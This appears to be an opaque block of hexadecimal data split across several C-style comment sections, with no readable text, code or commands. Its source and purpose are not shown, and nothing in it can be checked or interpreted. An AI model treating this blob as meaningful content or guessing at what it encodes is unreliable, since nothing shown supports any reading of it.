716eb66a134f383703c12dcffa0119f138bbd74b985e79afaca4727c15194c8eac2d59c410abb35fdcbfd6812046a7eadc7549c036ebbb6a4b05d60df29608500208c111be7d7695aa1f759065073665f65e2dfb52b74598134b3679333dd57d5ffe71956d77d0df40ec3ee8c0b78b522efcbbf738694a7d9afc8d58d0760b182275cd96049a42438c3d74c3a402c5fabc09004b90dfcf749a8dec3de19d9255baca52675e7100d7a89b181ee651737a39daa0a5f6a4a5cfd0d4026c78f03a5ec2f9016bb51491842248f89fb9fd9182a4be39981d7ee264e557a63cca709919b7eba3d9a2c5319ae26a8c3e5ab98ca842175aee87a47763a0645dabd3ec75a1654f9e191a4de7c1d175690741b65d4989eb05734f6db0a577c1bd980e3f3ba3781a4d987ce5d57b9ff018f01a2c17fb096770f95c28ca5d990f360b7ee388fc3877266daebfd72cc19724254a59becbee33632034991e425dc4e1896b1cf59147ffd786e8174e6033b70d9d5c32f2e01cb07ba5db6b5cb259eb5e9569652d075d437d6e0d62f3a6f39bbeaa7c243afb70279be2605c13e8df2beefc7407082da6189f9849dd48a321252df6dc9d246075e0288de749c7369e92a0545a22306bc42d000657dcd3704026f93cfe4db5e694c9409c57c8cc5e0199cd3e849f*/
/*5ae97437763083e9286dc38714667407fbdd085dc2ea3bfef41a09cf89e1bfb3ce9fd9167c41578c338cb51bf4821d1abcbe3085de7faffbf42acdd0b3290f3a6fc292347750a4f7b8571eedfa61334dd84ab572627c0c0595a514336f2c8bcdae11a3b9658e76c72f60ce79b2e3d2be5d0bfb20b79c6acd2cae744619dcf34b07f722877c21d9d76eecb4e4fee7ab5fecc07bb13ec47839dfb6b2bb41764ac7ee9c5dbd185e94b3224fc251d0f3696ed6dfb957039d7880fcb3e98fda806a3d642e58f790d86c5ced2fdb9b0b74496791ed14a1a871eac895e735e3624f80451a3f1a70bac204054b865343a599ac827210e2a1fa8f9851e10b671749ff26a2fc23e9b6eb80c444a9966475e00734c2da7e095d627981cd7489dd031065f243ed5a99de372ac6354db1b32f721d8ff0bec07173386182423fe864df255891e98c4d58d5781fff4b19bc163752a06503ff7a699ebabf9bd77f4c1761b12baa684dbce93c250c06726e3d09da03496799184331675cd83ee146ba8325c370b4500558b26da9964cc6b395ffe77218f2d4ce1bd9df80daf6d98f92b2c579d02db1ced995819196022dd03eb1fd848b21466b67ce75edbfc6871c00cd95993c9c30a3e8eb08df11febe99c6d4056130f3fd46a8db6c6d513a6cb02cb4d45e47c85a91b7ea1f4042c4bbfdc7a67458e6c34466d28481ee4acf8ed0fed966a9afe663c81524694c3633ab056b1dbf3515e4e97e6ed994c469bebfe2aa1a9e15d4847ec28846c2746c0a3bb91209a9b0b40be7d337176e1e462b60963165a485533ceb208e1804438a35bdfbc55ca7ab3675e6152b27ba0353ca89f32e31cc3047f6884705d4173131dd17ed7ed2acf6bf9cd3d3405481038b2f6411e09eb1aeadc333201a6d945e83daf14be22a92987cea5f87394c4f2b291f8d84ebdce209b1ed96862105e05c49c3535f14551fa08c4d6e24ddfaebee0404341a71962d4518aae7d7ace24902940568519dc0765a57218e19bba16cd436eacb9177b681947099625e1f2507a709b2c5bb20361dce56ce1a07b280fb16535f0fc107d703b93f0655301403e668baffd77d2bb28163aa7f5e61101f027fed1d52ea34f8a9567540b22b3b349b9040bd55a452d0dd36935c687d4d61c5698389e2cc46e9d5b40379b202558e485152fab0ad79e228516438bd813250dfd6500dd113a5c272a9f925b982fc62105be27032127b37b48423530521bbf4a616c269aea663584387164789ce5b536814e9d7796997478660d74ce1e4c3a9f99db16e97a4c25595d162713d6b2c3d1b479703ac88f5f829a609d22c0765c980716b2776999a1e8f97c37d166e62b85ff8f5d77513a2782e21f662011dad47baa8ecb7570ac7992960a13d8debcabcead5fd63700455c7cab398b0e6c13a8cd2888c0781d62ea1b8ec976f929285e029c59262c51e7164c24b5440bb0464e565b176b0e2fa9a8b30442e258657f1c973d64d0d40f2a45ce9166fc437951b319bbb8898178d86f6ede3fdb864b6a02f7c34364f89905bc989de28347fa37a9b5f0c40dd03905ec70c5cdec00e1ec8d5d95685f3bbe022a1b3d8bdbcdfcfd0772e84cc3b83fbc79a93d0e278b41d43cf49085fd1be44d8bca37ebe3cba0d66766682731918144d75a40e9deaf33a762b58dcfde8ddde74c7273c8ffc36e8b1f6391a229d2bf0605e095fb4a8b5d0f6fe00ce2991251a96a5d4643ef117de8c5ad5ba322def1b1767e8f1222812b55799f515290c1bf1c4f16171fc1be4c265a05c3445991d33c9ec0ccb13ded9229afb5c315cf02c2d8ee64af06db1352d09f20becfc3e429b438e45b91e0a069241a1337f5b7081240beb46b62dde6941d13b180c344e61fdbe522579fc2f7085b5a09f495ec25506579e03b2a6f84b68055159abac077cbebfa74d5ab3a726c6a6341758cb3dd62be2e3bf6124a8f34658da8dd6aceb8a356a5634d7ed0d0e8565de4904d73023bec9ba06b973dfe1a152aacffd40e63483375111dbeb19c0e117a8c0a1c42752d237fd3163850fa2759e6b25239bc93092f6a0048bf7476dd898c57b9b7efa263b675f0daf3dca4d80531622434c8974b19ef78ceb5ae41631bae213b73693d7c1737d8c24c843d2d5f4b4a50b43cd7d091ea672f1fb9c59c138dc27bfab6a99a82967991a7510bb5332e2e50916e78e901abf9412e2588ae5b64a57fe8b05f008615d95aaaaa9a9c4d9b904b3399733d828bb19c642525cbece4d9fb85810e268fae40533bc3bd8711e600346f05ed563b7f681b4a8e8d547aca251e170ecd0c887bec69c64422a34efb0c95f02b90faf65aea0641d3a09c694e3c8fd6742b6ba9b748f0086df9b8b600a9982728d31dba4c3fdbb996f0588a05d254a0fcb994ba976da72eb9d0815aca7f1cbf3945d60f259e373d26833d22c3e4fcd485950277913a834898b5326972b4066f75ccc6dbc4a61f09a761fbc32bf0ac98722566a160ce576f6ea8aaeea39e07df105accf575d218fe2e31cc06267957ed52ad6e2ed369d18ede81a0806112cb39473902412164dbd74aa384b061a3153a30bbfa705b268104083fa1438b960ec71c594d101a6dc300dcc013e4702931a1861d7101750222f5a60513374bd6eeb0ed7ad4b974246fd898c5ffbcf40c9b648369fc6ce52dbed4bb5192c5f2a3c29ca323366386a36d9336025446d623717b0e025e9e556aba85a2e67bad338190a64151e6d14f4a445a12694148467c835cc8ebbeb0eb355a6b5462c271a8cf6940565cb69cb1e214aee4b715562717efe1792a5215b4c491f4f3410*/
/*a14855b3d077959cf5d4f2b6e8d02e8fa9571bda149fa21bfafd0688a0ad1d5c55a4a4608172cfd5fa86428eac47d0c8fc948481e15ca5ee2942a4a1f5fd7cd5c12c71a730b73dcb9bf87bbced59c348d93934d8c69eaea9174f22060e32b8a91ac8dc8b5e8924fb1275dca907a97f4c20788a398360a9ece29cb725aec1ab346daa1a6f194c3cb2cabb696690fd43aa74676bfed44d0c7abacf422f3c6c1bfdede4ebb09b8b1c8c7ba29a2ef22e4c786ce961c3bd795caac39a6c51438f96bf1c35b1abd6027821fc9520214f6e2bedd457f96bb4436102974ad7f5209bf4441ae876148964d0da6fcf4c0e99bb412c94e50dd745af1021d4e083c80e82cd2b6d6580fce202f8f5bd9ccbbad32137347dc991347115f9b9a074e9e0eda5d8ba28e13f3587585c71761134c3cf64d39ff28e128f461e35c099523e1759afed81ec4bec9bfbf9a667c33d7004f485090b9b8ae666688bfab44914276e3228d27bc854d48443170aef765763e704c6bb8389232c8b817d95a5ab27938d74f8054d3982b64679bfeae277b3f643d01aa93be2f65ae7f02e3c8f85a3f7a28749fc36108a8ead451c2f04e946d1fc99804764421712829f359cd6b6499f1c59baa64598a727d9d498ac201540eafeb5ea933d3924c5ac2d9699fdf1b7b92e891c697345fe1d4d71ac287c7e9c4a4ea4ea7d4b930c55041d75306dfcfbaccfa5a82b3953cdaddef18eccec17df7e6837f8cfae106972ed9492d3d9495246f0634dcd3f2409b46f80dc19d48eb5c76a360f654c6595bcf7da0a831c4eeff7971915be15f84ba040075948bc22ec6046520b7401e181a4a97cb731c8fe7efa87c2832ae767e54e510b12a76ed69291fc502fb0e379b22a6fa83bed7c7b574623e20b5e8daf7b7c9b324dd7dda8fc6125a24cc04b09d6606a78ceefabb1f9da5fe276fdb3c5e72981df53ca942358ee2da4bd5dda9d8906fc793b3c59972aa4e2dc7e7a766102ced9a9d74f8429eaec1c861d387d77442a69325cd788885c0a81f64bd292e593f5273c4eaf11e733f4d72b08c734b256474375c94d49844d03ec62986c8ede2e62cba2198ce3de3ecd875583572d334e913677e530981ce3e3383e0e0c21ac807e1c305627364a5d3909db343af3c656dede66078ba55980dac50e5be948c649a2fb9194ec96cfdd7f5fe9b57a5eaacd4d9a0e6ff86fddc93923992476c5e70bb53957d705bffcff0716aff3cba1a1b59277341b179079c96449aaac3c8cb8a01ba628fa14e9d5415382caef9314609469fa9cb1b4ed04cb2a246b7debe57d9024fada8133e871734ea500dca0258aa3116f798da53cba3206b8f6a3a80b802435d978a2652dde6b01b6ca2e0757909970bb437fd7544f37fa1b09efe6adf5e9536553a74f622026ba4de5a3b91039b5bc850c8316dd8f3e4891d6e9a2959a68776810f7bb345a4948bc450e0f893f1275754f45d6585f03f043ec9a0955c138117ac64d59ac12f20617860874ef6eaa0066c4d024172023cb18eb06220588bf51a8246874b0b5b9710653a15e0f03f56bccf00863b16390c442b120680eb0340747c80fbd870661d79f554fefbb4b4e1da7ea517b03a4f86492296f91faa4fb423fcd1dd0d39c6852bb054ff35d36af14a867ccf35ebd50ff52e3edf4a2ab7082bf9099b16a273e050256cb567643baf8ea269607ff01bf2122b1a712b2f2c66b0fe707167cfd3e0028278d99c444e660b2dad5146a3f252e8711a321339dbfcc341d4922dbcdb7dffbd202269c685ce71d25f4dd94d1c29ff92ed502087be938c35c6fe41665464e91c04cf84b50a6a1ba4c756521b17a1bd477597586ae460138f1a5a62af695da6aef78658a9f414e926a0b063b9d38a3b78d7e49239d452bf3142a4786ac8472e84b0bffb2fdc20570477f3b7fbda3c9d4990c9a4a6893e9767fc9d5d673e19377c0b3c552642143c9e67b1980680323dc67a863b2a4abce7a8f4f575aa4fcea71dee4100831d378b1d07245770c8e1bb0e6f796c02b8a14b6cc55a03ca4936d1697a0a3b6bfebffc90693021ae56c3da93946cdf00fdf120c3bf3168abfa68a66cb850bddb1e798ffe4b52cc2d1b090dd1e382ffad07d887cdddfd2cafecaa1aafe7e2077eb60f47c1e528e5b0ed4104ebba04ca009e6d8eb13f4436d802a74a3889975312e095e4d5e0ae5a7de6c51c302e5a711e7710ed7315208300a031d98ab1356a484526b50dd1450581f5f393e27d195cc9cf3db3306ed7b9e88b1af052ed46a6306257dfd3a18a7c68a369c1d2946a51458c7eb70ea855ff22bd8763844b4bb9d750f0a49a893c94b67396a159303719cdd9343deccb2a5ee54f6488c3b2477851df31c2ddf6dc215448d830a17589f0b7234c7f5066492a92a6b256200d6f8affefcb4af4c023ebdb135efe089c0cbce9a22f37ebf2ca585d9811a3cd6467fb0121dccdfeafdfade56f7ff93e8acb3f6b16f4879d717fe442d85957b033fb0adfe4b60fdf595e7e2343629ac57d039c60b857b42a1db88c04747d8a548d31afac134e86b391ed228fe3efb2543ed5934989176e5a5ee1f8d6ca6310731aa8653f863ff7af74bd45fcf2713f148d5a35a077967ef2bba5af00580927440f13ae3dcd122d24b26612e9a7c6bb5c1525f8d1b8680da6a47fc070ab6016d5b830bd9c1dc3244ccebb34e7e9fc8cae7e6de8133d9fdc3165ae49ded3bd67ed1eb5ae01bbbb6319d6381aff11ca89db9a20ffa1fdb7b50fd7a59dc4e37f98bfac0dbfadeb51888b49d89d1d5f0bdb41dff2fd1351bcda36558b0a5948c3c15d0bb00d8*/
/*b3d0adf6064391d6954fe8b2a7deb87d2d5ea4b9b27e4afa487563c758b63e6dca7a1166522856e8a16bd6680e1145a63d38397c4a55a0b1ce7d541033ff91ff9a716fefbecdc0c8143daf648bf844cbe691b8016f3344825795b586ab704db9515fd19027d80b4609f8cb57f0415c8aa0a825eea25e2c4365d582c86b97a81acfc2875d22c3c728847290623b8d29b23a23720813490ad7b7cf44ec3dc086521520085a3fae8dccffa1253956e373430ba914452c3ba815af2fdca29cd4bd3629e495201c24f33e0e78f389c8cd4fe1f2b1ec7a7d4be1a32b088006e89edba8e87a6de5bfce26b24087bcafdd925f3b5e6d39c3d18bfea063fdcf551704299aa7b61e2106418791d0306636180f1bae91f621718c02bd5b4a6d5d0f9922e4712761b750eca174ada86d0ae9c81a51e517cfcdc8f140d2ca089a75929600cc42d745910a0b2b9e4a13ec3e7719a7dcb22105c8719d39368d49de368c6a78fce3098f90879353ae6eb9f36547b076227d6fd3451d5bb7fc6137ee0b96072a68789f153a9a4ac3954fbd58aaa183a3f31364302d9fbfe5a41c406ffeb6e584bef824142405ded94346bca29962ee80686c577a374b1d807d558d0be99074f8dc524c14b02fb54a3d4eac370bb681549d51680a8af4ea690a50b3276a7a9f13accab8dc4dc9304465393385734b9d28d7bc19b650567cd165b82519e2f0c79aafb8b41b4d59e84017e18f307e95f08f067234acf4222f98e453cc09caeb15e30eaf76d2667b44a15d5bd834cf95c8bc226f4f517c8f49db49a95c7060e709ea8b1ef38d66bc4711ebc4ac06eac417af6d7968828c66ac0c8ed2b059ca21842e2fef25961b77cdcba117ed882afcf00d5660494dddcf84b1c4fdde89d9dab0117769f6b407225a329df685135abe6fd1a0e55ed5221f5f5d8db05a8b1d438abf1638733f136b0d3b3475fd55ebac30c6fbadccd1c5a421874ae773fb3557b1ff20d3405662f4a17b6a40e09cb6b0109fa20f103353a5ecaad5b26b855d61ce2d0e7a17f56a0bfe75809ed0d2929476c0c4e50f9b579b6d9e8731da8b8516cdabc572427af0f954420b89134824318aa2854f099d82a23652206fbbd8a982dbeafb8d8d95bf0432e65cff4a294ede6face727a100c32d3f46cfb68caf4653b136b372523f86d00bc7c27fed071f1ae753ac4cf4e443d701c66f0eb15e0935b0e89c664d5a782783b8974d7446a72c51e42909e1fa89864f69c9b40def71578fd3e211621e721a80c7b24f0ee579dbcd0dffb69e70d4391448763424717f1256489c5a77389760361c7b9585b6da02f7464c36e77f2819aae12ec10432d701fd5e10eecadee99778aa51c64175c05577effb21389de471a52fbf8f6c790028cbf2f1b15d2240c10e0ff0b6f1202db68118bc0748a42d89e1902889c939287539f51d77c99bcdd94bcc626d44b09b1ed31b49f8ccf934841c6d19f1858b9a3d95d637e3b354c129d69db6af07382b3aaf0a8c959e5df118a0b5379a9c0e67d5f9aa0a2c4cce7a2215fa1a5fe627e97ad25e0ba64b5dfd9e0ff73e77a1566580b367124cf6ddc5a6600bff1c7059861f30bbde2667609185190981820f26574efae839e2520491e6c5cd12ff9992234c094f8d25e41989ae4f833bd047502dfa22b6f05c9c6b6c8b2fafca749f01c52d2eb6cfb97a77818c2c23105861e20197779cfa3dad7dab49ea65215c793c2e05103a9ad2d1d5cda30f69fdda182d02933841d6a4d44b59bcd8bdc7312dd1ae5b868e605df7bf28239155ad8038fab39e94053ca0ec882c8037ff778faba8789a1e23e272e1114a7ba4bef088ab503664f0ac9cbce69af7bc7b82368d662b1fac3fc30d7657cb4f9841ce3c28de2b2ede21233443a980a5ce7a725c3a87ac18f53ee17357b8e852ded17faaea61a718273e7ce45c0b3c4ee9be29f2b319405c01534ebfe183ee82566db348ff60cbee97298df3e48f7cb6f592e9452e151fd315d155b740c34b299acfa09e38d8c1751a0be7d6f55cc6f0071541696ea1c96ef1c256a6633c679dcf5a5a730a32beb6fda8de80547253ed894e3f14af6a4b673ef4264fe5f9e7ce460bb52779dee705e3a78e1e9cf5810cb7521888872cdfb742b192c0de4c564dd2a52497adb0c564e57960c6ca7b850ab3da78afd5630bcb9e5f6115e8304395f57a8d6cf4662d706873c50b9a0b563c712580187860fd52530d2d1f94d4db732010f3b77043f2636bf462d7f01ceae3dd92a3ac2e8369ffd477095d2a5bd9ee08d3a91d2676dfe05a827ee3f0a73877c63fac839e9bcbbdbe4b3d366dfdbacbd709b0ca367e36923e65dcf3af9216e7084eec2ce232e01704881b004c2cf4009a3cce461920165d14f7c8feff40ec933d21ffd7ec14b4f78e80eba3cb91eaa35bc07502ac4dfa958f1bf3b3e9ab650d0dbe2245e0214f6a2a5c742057cd69107edbccd3ec7a25243083d657fda510de385e9eb616c31630552ed3979386ae9d634f7e7e508d048d94a79b8e4e440da60d3564259aaa1fd497d1b209577f085e2263625cdc21a994ba6fb532eac4178e0e047f6c2e818afd6c51dc130f8641a9a7f77d39ff468bfa20fd7b64b038df8983d2fbd9c785c244f165810ca2568e1d6267c27f2eb8a81fb394eb0186d6f025a6caf0d236fc04b4ff3816933dc521fdd16f5580df62969f64e9529f78fb4c8a3eaa8cba43a8ca72e334aa84a8f74e47508b67cc40243496fa91d9d90568ba498a542cf785e3952b059a061a8b4c8cdd88d621153884533d54719e6c895cf37690587c2181e5d7edd6f62222a3*/
/*1714031342d203586fafae75e6ed6d6877967ae8559d73da20d87ad4f1d89bcfaf077eeff83a8cdd862069f2654e2ea87b1ffdb92de2880c14038d08a6f9817bc1225aceb0b80f9c1620a235c7ee19870c9d267b1cf41e46d30bfb00043acca64f1125d53d5ae7153094723c1013340c789c6bd181cd8161f4fbe6acf65a4aac38fd2322cc30dd8e389fa8806382d780afafeca3355810f2d4ced5c898e01ff996b6e202f406549c43812f4f2a480012520ad8ccfe4a4dc318ef0a5a3628d1ec9e51982f4fb9d728197c0c629cac63b207e5a6ec186bcc14133893806f2165e81fe205f0981acd4ae11be39c7adbb03ea286577a5256bc7b7e1a3c3c53a8b5c59b6aadbeff8ace6da00f28d964103d415033bb3114b69934ac36cb38a5db34a025c2bff6b30ccffbc56bbf5cea95dcfebd9f8d6f74684f5cf346198f08f765108f98bc3d4e32058e73162a201a85bdd8f08e9ce52fc9196a79bd73d9bec1eecfa8da4fe900d9b489af614d921b4759ca1d8bf5d3f9ae13cf1eb17d0d6e121fe8a7749b624784c10c1bbbb58b43242712e89a7cd7879fce4e768f1b2114c819b9998145b67edec623241f5b85985f43efd89adc51a3d6224250dacd3530400b7fdc4a5807fa92509fd86431e84d5641e9a478e55dbcdca29227b61fff69ee7bc5e16614b4e9396e0e61bef1d06b631f5891f1440b958c850554da33bdc6373e85b05100213bac3580c6b533f6e46da942010094f7e237379de153377b19fdb1c93e4caa4a74a7700b421b586007cf9d056df3b56050075910417bea5cb4cd6ecec7c637cc501a1c92a82e66ebe59973ffb94d58ff2564d4bcc5952086139325676abd58867666e709b296e37939a2c7fd00af7f6225cf5776ed9f5ae3460073f47e0dedfde141c8aa042ce767a5778125ca7d0b1688a6c3dd15c0678e8116e46725674cbf1139f790ec1195674045ce9427a093d6128974e4038ed1d6bfd4f18de27a2dcad4b61395c347afb19b55f8428ed4c546bf060efa53778fbeb6aa72efcc0dc2e3fd0b05a3bf9be42ac1c415c596980fde65072fa585d03972d3b085914ef08a558eeb1b2848aa1b0f6e0b331f190aa0763aff537bea71d1e3099de32c05c6251bec1ff063360c609021e871ad6aa2cbed6fb8be60ec9ee94534a75e2431b08aa2d05ac193bd470e25047da54569bfff1f339655e1a8a89fb58f1e05e229d4c74938ab43529d862f6411f56bc76ca19e33b3bfbb70a9c39a282ec38b89fa1ff486b0d7836fd3b8c2bfd8232640175ccb9b273de1f4d99fc55fe976cb7206c90798c2ed125a51478081108faeee8982846a94a1ff65038b13a8c0d268efc6c0fa8a6361f37d8b40ae4eb0526ccafbfa8febf5f71b16af4c63b1adb0237f7116b17f8dd211f3a7b7a294fe583264e6bec1fa1ca76193fe334b87dc866d090b1c8c8cd6a56471e8e9d00af29f13a75d27b81d4b5777c43e3b8f748684cc8fc7aeb984ce44d8008ad82aff34e288b79dec9cc47032441616d4b82996b3c83b252fb62f950b16b4cd400d243afb3cd217ae293609956958f7efad081b0138f7f05dd824df8b3a0822300d4e45a7d0eececd46eb11aea4db4548f38a5feea7ba6789715694f5131e34c8c2a581abedbb794b9204b284e0c69b052ffa996ae6f81fc3dd45409819468969a7ba9659f612650bc55e78b6dfdfb2b1b0603dbe4649d286cb1f982915119c5e33f4747ebfb62d3b2bb8089d914ad4ec06e82460957a872edb60b956e95a364e7645815bc4e16a6b3f6b307301630811fcb785a79da4575d90aa5c25b5721c856efdf076916ff22dc795c757a3e1696bae6f2535f8b64bd8b71d440f1219277899573860dbe907bf97642606fb1376dd9429f1d6fc5bb4994238da9d678f218b827f0bf1e18b4d6be2c468d75e4c07f53086fcd7ee81e38bb5fa63ecb789ed45677c6bddb037a415bc4cd35a9e3fed06737b63f99d8e02235644f4b69075f84dafcadf0ba996321036cf89f23b241aba10cec62f6caeb924fc6d3276823b5a1aa7a5272abb5999d08a5498bd9002844a555748470716bfa099985b0e81e6e11209e701be3018055c575f240bb781e8d9e35b105111a64d689e62b6e340b6d03a1d7d5256aaa3d5faf776ef89f1ed4c26881e8cfb84b7e43d9e6cb95937f364101951dd8791833733338067e0c025fa2af3bace29ad44be884a0d9c5a6a772e14bbbe40f24a4b6c8ea5fbcfbcef769bc1c9aa4e55cfaf601e84011129c8bba3966ddb1afd126751fb82b9eef6a65907e6a92253811a9618dc4986793821848bf5cbd5bdc42bcdf3ccc902b3efe19f9b3469f09f312cd0a119b30cdcdacc3d5a9db3b99248a870914c60983d071c72136d06913d820955b7f3e9bdcfadb21fb8734db6e311f7e7e6f6bbe68672528ccc394ef5ecd905a1cfa5be2945039af51bb75dc4338222b81d57ec86272ab49fd75c0da95420e73ad9e9c47d5203ac25649095ccfd066c883220fd6d225795d8c2e7dfc25b6e0ba13127cd53196e2fa8de92e25ce35157c1fc4abeccdf2a1d7be6210f864500b663b173c1538f229919b8586baadddde48d4ab665d3bc58cb45de104c75e29a17761057ee27a6ede6e7eb16e9cef11963e2bbf6f4e4dd79448e8c7908a816a1d1ebcf06ce4a5fb1417b235e55c97bff984758d6ba89409ab62b684f1cff63e6570f88ff9cd6f62bbaf12e1989c57741ad2869bed844f8dcc5d6e0026ee8461a8fcad1f03f6fe63b119fe1dbda83011926ed7fa425240aa2a4bd75b689edb9fd13fecc3107817dc0d0d93365a431936c8803*/
/*0bfd4896751179e55bf0efd8434dc7cd79f396cbe37ae50b9f87ad63d9318dbd02be4eef38624b9239a038584a3b671ba242ca2c0fc11e279423f2d8374a0e20f2da554be109abd516ecb917262f4f6cde1b4910f169f895b60895cbe4172f25ec098f8945c40a25bf4c8e7719cd2a725fff7f6eb946c02ec910812030db5a89457bae457ad4a58dfd5f762822a96a32fda9308bdd12aa707be87c8f51cf57b6c0487b3d8e499ebb36fdd4863e50dc576aeaec7fd52014ec0700e24102321eadcb2813684148ae95ca2b81841fb3b9eadf7df0de3a7ef9a3132630a99a526c04cfbd3bcec46020b0f13fd4a7e4bda8e70c104f0c9a66a9db32fe8a3d3b953efd4c5a07c96573d3e4768b86a541db01491bef92b7dc9848d6ac197ebf6192ed5c4e23a47d1e36576e31c5c8e1c6b1946b493f75b5bc91cde902dc4a8f6cf4642edfab228df48d1abde44f5f562d9bd55f78eac46a59558c2c5eaf3027df5ce94e214d9abf468dbd1266debc32285930e72349090cf405abe907582523e412f25750e51e3e901cba450e6ae7c2e1d4c9621bfabf6e99382b27859745236eddb5235084d57a30362b857f367d142af214967ce2bb45ffd31b64b2f6563b6c627535c2100e4fe39d496e599e67adb157e637d035b15449d2956357fb8940f6db3efbffe23e726755289a6adcb9519b110fced232e5a1b384369fe8b8015fae4d0239558d217eb78b62f5351aeeb451282801c3f2f4d30531b145f5b8acbd9a45457ce6f256e4cb91d1f837a8f26cc35921d8317f3dc8ec1edb23895ec3d07106daf42b14b47f6d7d1025986b4d0044e4aa69bf5139b83968852a7eb5b782d509e7d53267cfa3a16fe4a9575f7ad3f92249192e63dfdadc1e3d731d403420d94a74e376792c640a853d14f378fefa0bb742bf0f2762fc51aa856ce7372b975c1aac34f306c11ce698a8d3a23df5c5450c49bf6716d325fbef620fc9e87d49fdf87ee170d71aaf00faef5a8050bccd8b22a72f5e77b169983605b786e90ba660fb26243c99cf2a469fea0006ba05dffcbc5b85d6e3a93ecdeb93534333f99650ca541386b664eb5c1c0044f178f7460ad027a284a81cf1109c0479446b142ca3c4f98e7773bbbb13e214ec5a3db452f84d0aae6ad20e613eb78c9bdbca9da08372150bb07d3cc0de1a5f5892ceedcfc18011bc8f4cc2980ff9076c1d3c429d8f43b005f18364a6ca5b100245d4f943a2eb1afe08b9989fffa2f7e64430219b5fae67fc0fb1e631815fd69a6bff66cd3b810890c5bc7c82c1d7a9cca1e8b5d537709dad86e2782bac501f89d6a784f1129f2b8687178178c3721c0efe60f3e9e8705ac392c9b680ef2daa03c5d47e6812246d103799fa14f40223b05f1ca5c3b4dcadddf7196ba6f7377377168a592c06b2abc6fe4dd140bf321e0722990c310bd748e2f49659a9817bc3b6fac882032535f7ae6cd5cc3e7455a5548f12d8a2a9a9eea4d50c610a4e1fc8f97b35e09d29a5e8f3107d47075de8c632e3f0c13ec4714646baaaf94723b40c5df4c793876950ac0c4afcf9e21f0fec4095fda90b63a25fd788abec9f35718127ced11d792849a92e8d18fed7be740db40a70cebbe160cc1c8c10a0480d9b99b9c1fb03e6524aefb2366ac37bea1b0d1208e4084a7b83b12e085d3e4599fd29213cb8ec584e2da8b21bfe22459a439c4cd4681be7c449e2c8bcbd5a85a5eadf99d98ddf9c5b1960f0ffd796ea09e65adb8b505fc65b711b880f2d965df3b0ad75e8c081eac9391736b67e7fb8378cbc56d63559ca8f7c7a6273cc9f2b4a76bdcdb08aad5cc0edb90ad7e26d8f4d99c8b9cdbb6097a99711449f4fe4e7a430d8b58bb42cab9b09a3919ec16cadb1f1a328eb1911e89cda3a21e12c93787c6d158bc16554521550cdb7e90b984f2472239aba03e170f22c476421178504b52791458b61ddde8246f6da87ce233bea7bb99b0bf36addb2b20adc99bec66f6d1239139bbec7ad7c0e5f1e0fe98f9928a792954e41c8e25f46f24afb40d9603baebfcb9e4d4cf92e2359fdfe24880ceffdd1596d3b3823c0128bcc038a9df43be7f600f6ad33b1cea9c66c46d04dc0d74b066173850674385a2d1276722aab69a8c8f23dbbef5056c518cad9e3908fdec566b961bed47eb5e8bf0898c7f66fa32305a12131e2e2549d17da76b8510b8ab418d69c259ba85af1e21c1d28fd8cf1375f369734a17680bba38f92269a09342126fad0d01cba251c0ef019959b23f41fb7b90a3d46266e1efc23eca1e869120d6e79cb62aeb7cb15f608dd7f957d80bc9e6f875ee09b8d378eb4e8cdb6f075b756cdc87e3c1e05053e45111df2c5dbbaba191190e741e2cb7e13bfa462adb4bb950f438629b349220a6a213bfecc42e22b288655a249ff631574f5af09418a8d6b8a44daf64491be3c62ba18e002069cefc3c9dc56fa125a7434d1d45e58c6b41d400653077f18e3ceae782b6899f614055c49c02d3036953ab865571d1c7fc02f25c52c77fef3bd3fb793420fe55c1e5d311c70b3a125579a30997bbef4677d9877ac104d4c56241dddf6124373feb2e63de7b94768b39aa671541453be1da6b73b3fd8f58a52a1ddc407fbabb20bacc99f7c38fbb556fced8efb4c6a625862fda72625d3e23acb5a0e5ecf855cf180540fc9ee6c93628f259fab6a7977b40780e374fde9c3cc498717fe00dddba4441917c087d280e824bfef3c4e12a6cab3ce1499900612e70ff6f4318b0cc908b90129fa8c1cfed05d1173ee6992df9e3f8071e5c386d7695cb4d53cf4c3dad18a01ea2a5fdcf83a4c7a5c*/
/*e44f6175727b8a2fccb8a7e914d810a4df56be56ad128a30bd2d5db2a05c2fb571cda87cfb2ca9ec218b53c6e3f3b28f08ebdf8645cc486fefa79884838188093f0685c876d118e23709627f47883a330016f376a984cb306555455460b49171994bde586c2c38d9a85a068c42558d19c202202a6b13705bc8240301ed41ab83bdbea306b2c81c36dba20ac7918cc553ced3883646727a62dde281a88277a1fad7b37ba36416782147e6d12b786cb3f6c0a7a25b103b1add615671819a215eac8f8a48d96844a9fb4981db3129ae508a794996aa134a688e5086749a34b6d178036cd3ccbd4e4a607140b471686af4a085307f79421874415c8aa331f350b5bbfabec81c559e7a9f466f7373fbb5a5a7d8bbfa57fa470ae0caa5490aa46afef283404ef60d099628297b790533959a5d0f78102f6d1bd3c044420659ac70a8ddc55a4135f598fba969cce392b00bc15f58807c3d3509a9689c91b47c6b7832991f53246d09776f968925e557026f67ce5512128eda7a98ff8a28cef949d421f33f74f7f0f7441bbfc4384aa801b65418008dbfee0936158bca9c00481cf5345c2422c62c2efc63fe311a3cf75b923b41ef060b4b48fbc1d1f3e154422564a8bd546dd6b13eb78fc16b95bc4aa8f4ed319e35a0ab544a5bbacacfab05a5c861216f6f4ae5c77eb2ecd06f22d13fb4732d501aff87e2d9a2cc1b34553015fc8144c0992b80fc1bfbdbfae6e8d3ec59751fa8bab6bb2d2b7cbeefe8b2ba2a0340ce44639a8986bd28602e68dcd7a8c99db0636f2c4a15bf5f1b546a4823319f750dc90f86faafc881dc1d9b6ad709ef5337aac6ff7997e4f972353bbf2fee275b827d2d103863e401e640d65da2c58b28ee28829c7a11a430a7adc0a88ab5f65a4c0a1cf30f217a58baf6a80af3f7f92b396178502c191738579f7ea460d060b5d3aaa01eef51c47881ee429d43def057d9c63776ed6ada1a8fef65ebc6a28350d848743f5e1217bea2db5413253991eb76119efb2fb23c5eff7af491bd3290f2e88d5221ad3fbe2e97734bdcb23214792f079c755c98fe43bb055ded666181911085ffc0af03c72ffdbae3574f1384772a4f4eb7e0eadc3d9018f2120ef9752c41f92497151eb0c3c51a16715b1b302ea517453250431579db2518b59b7519bde392b83bc8ea1bbd1bb8adeb31b15b6b59f74e7c3df7086b31f9b92448f3dea71223ef1a1f3454c1210ca9b21d70a69bc46e16e6d895b8874727a22a66052b2f2b71cd9898bcafd8d6bec194659d0ce2a39a1260f0c91de704e7bb30a2287d31155759007ae1feffd9bc26fbfc561363205f3369924399cbde3993c472ebb0884baf15a97a8cfee6d3a3fdaa31f0ee0192571ae46f44aef6498f37ddc5b36e46829c2e6c1f69afe952d7a80aa1d62cc5b